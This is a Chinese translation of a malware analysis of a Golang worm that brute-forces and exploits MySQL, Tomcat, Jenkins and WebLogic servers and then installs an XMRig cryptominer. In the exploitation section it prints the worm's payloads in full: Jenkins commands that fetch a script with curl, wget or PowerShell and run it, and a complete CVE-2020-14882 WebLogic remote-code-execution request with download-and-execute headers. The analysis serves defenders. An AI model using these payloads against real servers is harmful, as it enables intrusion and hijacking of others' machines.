Golang蠕蟲將Windows和Linux服務器變成門羅幣挖礦機
使用Golang語言開發(fā)多平臺惡意軟件是2020年惡意軟件的發(fā)展趨勢。2020年12月初,研究人員發(fā)現(xiàn)了一個新的用Golang語言編寫的蠕蟲。該蠕蟲嘗試在網(wǎng)絡中傳播來大規(guī)模地運行XMRig挖礦機。惡意軟件的目標是Windows和Linux服務器。在老版本中,該蠕蟲嘗試利用WebLogic的漏洞——CVE-2020-14882。
研究人員分析發(fā)現(xiàn),攻擊者持續(xù)更新C2服務器上的蠕蟲,表明惡意軟件開發(fā)者非常活躍,而且在未來的更新中可能會攻擊其他弱配置的服務。
技術分析
攻擊者使用了3個文件:
· 釋放器腳本(bash或powershell);
· Golang二進制蠕蟲;
· XMRig 挖礦機。
這3個文件都位于同一C2服務器上。
截止目前,ELF 蠕蟲二進制文件和bash 釋放器腳本在VirusTotal 中都沒有檢測到。圖1是VirusTotal 對ELF 蠕蟲二進制文件的檢測結果。

圖 1: VirusTotal 對ELF 蠕蟲二進制文件的檢測結果
惡意軟件在Windows和Linux操作系統(tǒng)上的行為非常相似。下面對Linux蠕蟲的工作流進行分析。
Linux蠕蟲工作流
蠕蟲執(zhí)行后會檢查受感染的機器上是否有進程在監(jiān)聽52013端口。端口監(jiān)聽器的存在是一個mutex互斥量。如果端口的socket已經(jīng)開放,惡意軟件實例就會退出,否則就會打開一個端口的網(wǎng)絡socket。
在老版本中,蠕蟲會解壓XMRig 挖礦機為Network01到tmp文件夾中,并運行。挖礦機會使用Go資源嵌入包(go-bindata)嵌入到Golang二進制文件中,惡意軟件會使用bindataFile來解壓嵌入的XMRig 挖礦機。圖2是文件中的函數(shù):

圖 2: xmrig_linux_amd64.go文件
惡意軟件會使用TCP SYN掃描網(wǎng)絡來找到可以暴力破解的服務,并在網(wǎng)絡中傳播。然后掃描有與這些服務相關的開放端口的IP,Tomcat 和 Jenkins的端口是8080,MySQL的端口是3306,WebLogic的端口是7001。這些漏洞利用中在src exp代碼下有一個包。

圖 3: “exp”包文件和函數(shù)
蠕蟲使用gopacket庫來提供Go語言的C綁定,用libpcap來讀取網(wǎng)絡包。通過運行pcapc,蠕蟲會收集網(wǎng)絡數(shù)據(jù)并繼續(xù)對服務進行暴力破解。圖4是蠕蟲暴力破解和嘗試在Tomcat和MySQL服務上進行漏洞利用的結果。

圖 4: 蠕蟲結果片段
漏洞利用后,惡意軟件會傳播一個加載器腳本:Linux系統(tǒng)是ld.sh,Windows平臺是ld.ps1。加載器負責釋放和運行XMRig挖礦機和Golang 蠕蟲。圖5和圖6是加載器腳本。

圖 5: ldr.sh –Linux平臺的釋放器bash腳本

圖 6: ldr.ps1 script – Windows平臺的釋放器 powershell腳本
漏洞利用流
下面描述每個服務的攻擊流:
MySql: Port 3306
惡意軟件會運行憑證暴力破解攻擊。惡意軟件會使用硬編碼的弱憑證目錄,比如root:123456。
成功登陸后,惡意軟件會使用mysql UDF運行shellcode來獲取本地權限提升。漏洞利用以十六進制字符串的形式嵌入在二進制文件中。蠕蟲對不同的操作系統(tǒng)和架構有不同的漏洞利用,設計的系統(tǒng)和架構有UDFLINUX32、UDFLINUX64、UDFLWIN32和UDFWIN64。
運行漏洞利用后,payload會用sys_exec 命令來釋放和運行加載器腳本。URLWIN 和URLLINUX 保存釋放器腳本URL。圖7和圖8是每個操作系統(tǒng)對應的payload。

圖 7: MySQL查詢– Linux payload

圖 8: MySQL 查詢– Windows payload
Tomcat: Port 8080
惡意軟件會使用基本認證在管理員面板上運行憑證填充。

圖 9: 到Tomcat管理員面板的認證請求示例
成功嘗試后,惡意軟件會嘗試部署一個WAR文件,用來傳輸含有惡意payload的1.jsp 文件。
惡意軟件會發(fā)送Get請求,并分析jsp文件 %s/1.jsp?win=%s&linux=%s 的參數(shù)。這些參數(shù)中含有釋放器腳本URL。然后,JSP腳本會釋放和運行其加載器。

圖 10: 1.jsp文件腳本
Jenkins: Port 8080
與之前漏洞利用類似,惡意軟件會用口令填充來暴力破解Jenkins 登陸,并運行以下payload:
- cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
- println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
- WebLogic: Port 7001
在之前版本中,惡意軟件會用最新的WebLogic 遠程代碼執(zhí)行漏洞利用CVE-2020-14882。惡意軟件會發(fā)送到WebLogic服務的get請求,并使用GET請求header 作為payload的一部分。
- GET
- /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
- %%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
- WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
- field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
- (true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
- mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
- (“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%
- 20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
- (“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
- .ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();
- weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
- ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
- getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
- (result));work.getServletOutputStream().flush
- ();}currentThread.interrupt();’) HTTP/1.0
- Host: %s:%d
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- Connection: close
- cmd: ls
- linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
- win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
總結
在2020年,研究人員發(fā)現(xiàn)許多攻擊不同平臺的Golang惡意軟件,包括Windows、Linux、Mac和安卓。研究人員認為這一趨勢在2021年將會繼續(xù)。此外,蠕蟲的PE和ELF版本代碼幾乎完全相同。
本文翻譯自:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/如若轉載,請注明原文地址。